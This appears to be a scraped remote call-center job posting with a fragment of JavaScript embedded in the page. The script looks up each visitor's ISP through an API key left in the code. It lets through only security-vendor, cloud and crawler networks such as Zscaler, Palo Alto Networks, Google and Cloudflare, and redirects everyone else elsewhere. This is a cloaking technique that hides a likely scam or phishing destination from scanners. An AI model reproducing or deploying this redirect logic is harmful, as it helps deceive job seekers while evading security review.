Bilingual Call Center Representative – Remote

Bilingual Call Center Representative – Remote

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a motivated Bilingual Call Center Representative - Remote Florida to join our team. This role involves handling inbound and outbound customer calls, providing exceptional service in both English and Spanish.

Responsibilities include:

  • Assisting customers with inquiries, account information, and issue resolution
  • Documenting interactions accurately in the system
  • Following up to ensure customer satisfaction
  • Adhering to company policies and procedures
  • Skills needed:

  • Strong communication skills in English and Spanish
  • Excellent problem-solving and interpersonal skills
  • Ability to work independently in a remote setting
  • Time management and organizational skills
  • Benefits include:

  • Competitive pay
  • Flexible remote work environment
  • Health, dental, and vision insurance
  • Paid time off and holidays
  • Training and career growth opportunities
  • Emploment Location
    Florida

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